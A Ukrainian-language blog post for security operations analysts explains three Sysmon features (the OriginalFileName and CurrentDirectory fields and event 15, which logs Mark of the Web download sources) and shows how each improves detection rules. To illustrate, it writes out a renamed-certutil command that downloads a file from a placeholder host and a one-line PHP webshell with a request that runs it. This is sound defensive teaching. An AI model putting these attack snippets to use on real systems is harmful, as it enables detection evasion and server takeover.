Корисні Поля та Події Sysmon

Вступ

В цьому пості розповім про відомі, проте недооцінені поля і події сисмону, а також наведу приклад їх використання. Спробую акцентувати увагу на тих речах, які ви не побачите в подіях 4688 з надією все ж переконати тих кому “вистачає стандартних логів” перейти на сисмон.

Поле OriginalFileName

Коли Sysmon логує запуск процесу (Event ID 1), він додає корисні поля: Product, Company, і OriginalFileName. Всі три значення беруться з PE хедера виконуваного файлу. Зазвичай OriginalFileName збігається з назвою файлу, а ось регістр букв - не завжди:

Файл OriginalFileName
cmd.exe Cmd.Exe
powershell.exe PowerShell.EXE
certutil.exe CertUtil.exe
rundll32.exe RUNDLL32.EXE

PE хедер легко змінити, проте тоді пропаде цифровий підпис. Але якщо перемістити чи перейменувати бінарник - залишиться і підпис, і оригінальний PE хедер. Якщо цікаво погратись - Resource Hacker -> Version Info:

sysmon-originalfname

Користь для СОКу

Навіщо ж Sysmon логує це поле? Уявімо правило що спрацьовує на запуск certutil: EventID=1 Image=C:\\Windows\\System32\\certutil.exe. Ніби все супер, поки ворог не вирішить зробити копію бінарника. Наприклад:

cp C:\\Windows\\System32\\certutil.exe $env:temp\\edge-updater.exe
$env:temp\\edge-updater.exe -urlcache -f http://example.com/b.exe d.exe
rm $env:temp\\edge-updater.exe

Оскільки і шлях, і назва копії тепер інші - алерт ви не отримаєте, варто виправляти правило. Можна, звісно, моніторити саме копіювання файлів з System32, але альтернатив “cp” теж немало. Другий варіант - також дивитись по хешу, але хеш зміниться з наступним оновленням. А ось OriginalFileName змінюватись не має, та й підмінити його в один рядок не вийде:

# Початкове правило
EventID=1 Image=C:\\Windows\\System32\\certutil.exe

# Покращене правило
EventID=1 (Image=C:\\Windows\\System32\\certutil.exe OR OriginalFileName=CertUtil.exe)

Техніка досить популярна, сам стикався з атаками коли LNK перейменовує curl.exe або powershell.exe, щоб довантажити малварь. Зверніть увагу, що в 4688 цього поля немає, а також не всі вендорські/вбудовані правила підтримують OriginalFileName. Перегляньте свої правила!

Поле CurrentDirectory

Це поле так само доступне лише в event ID 1 та вказує на директорію з якої було запущено процес. Зазвичай, це буде C:\Windows\System32\ для системних процесів або та директорія в якій знаходиться користувач коли відкриває програму, як от C:\Users\bob\Downloads.

sysmon-currentdir

Користь для СОКу

Коли ж це поле може допомогти? Основний випадок це коли у вас обмежене логування, бачите ви тільки запуск процесу, і зловмисник використовує відносний шлях в своїх командах, наприклад:

# Як без CurrentDirectory зрозуміти де знаходиться users.txt?
# (C:\Users\user\Documents\users.txt)
Event ID 1
==========
Image: C:\Windows\System32\cmd.exe
CommandLine: cmd.exe /c net user > users.txt
CurrentDirectory: C:\Users\user\Documents
# Чи як без CurrentDirectory швидко знайти profile.json?
# (C:\Program Files\Common Files\profile.json)
Event ID 1
==========
Image: C:\Windows\SysHack.exe
CommandLine: C:\Windows\SysHack.exe -c profile.json
CurrentDirectory: C:\Program Files\Common Files

Хоч це й не основне призначення поля, але CurrentDirectory може також допомогти зрозуміти джерело атаки. Наприклад, якщо підозрілі процеси створені з директорії веб-сервера (як от C:\inetpub\* чи C:\Apache24\*) - можливо це робота вебшел або атака через веб:

# 1. Нехай ворог залив вебшел через вразливість в uploads:
C:\Apache24\htdocs\kv.mysite.com.ua\uploads\shell.php
<?php system($_GET['cmd']); ?>

# 2. Далі ворог скористався вебшелом та запустив команду dir:
GET https://kv.mysite.com.ua/shell.php?cmd=dir

# 3. Саме CurrentDirectory може вказати де вебшел і де вразливість
CommandLine: C:\System32\cmd.exe /s /c "dir"
ParentImage: C:\Apache24\bin\httpd.exe
CurrentDirectory: C:\Apache24\htdocs\kv.mysite.com.ua\uploads

Також з цікавого, можна будувати правила виключно на основі CurrentDirectory: будь-який процес з директорій на кшталт C:\Users\Public\ чи C:\Temp\ - це вже привід глянути до активності уважніше. До теми аналізу, раджу пригадати інше чудове поле Sysmon: IntegrityLevel.

Подія FileCreateStreamHash

Подія 15, FileCreateStreamHash, сповіщає про створення Alternate Data Stream (ADS) та логується більшістю конфіг-файлів, в тому числі й тим що я рекомендую. Якщо ви ще не чули про ADS - це особливість NTFS яку іноді експлуатують щоб сховати малварь чи шкідливий пейлоад. Дуже цікава тема, раджу почитати (MITRE, практика). Але сьогодні розповім про більш прикладну користь події FileCreateStreamHash - визначати веб-сайт з якого був завантажений файл:

sysmon-zoneidentifier

Як це працює

Коли ви завантажуєте файл через веб-браузер, Windows ставить на нього мітку (а вірніше створює ADS) щоб більш прискіпливо ставитись до його вмісту та обмежувати певні його дії. До прикладу, Word чи Excel не запустять макроси з файлу, якщо на ньому стоїть мітка. Ця мітка називається Mark of the Web та зберігає оригінальне джерело файлу:

# ADS "Zone.Identifier" це і є Mark of the Web
# Поле HostUrl вказує звідки завантажили архів
PS C:\> Get-Content .\Sysmon.zip -Stream Zone.Identifier

[ZoneTransfer]
ZoneId=3
ReferrerUrl=https://learn.microsoft.com/
HostUrl=https://download.sysinternals.com/files/Sysmon.zip

Подія 15 логує не лише факт створення Alternate Data Stream, а й зазвичай його вміст - тому ви побачите події як на скріншоті вище, для кожного завантаження. Надзвичайно корисна подія для аналізу фішингу: не шумить та вказує повне посилання незалежно від розширення файлу, браузера, або протоколу (HTTP/HTTPS). Саме довкола цієї події можна будувати різного роду правила: завантаження з домену *.top, з URL що світиться на трет інтелах, або навіть з сайту конкурентів.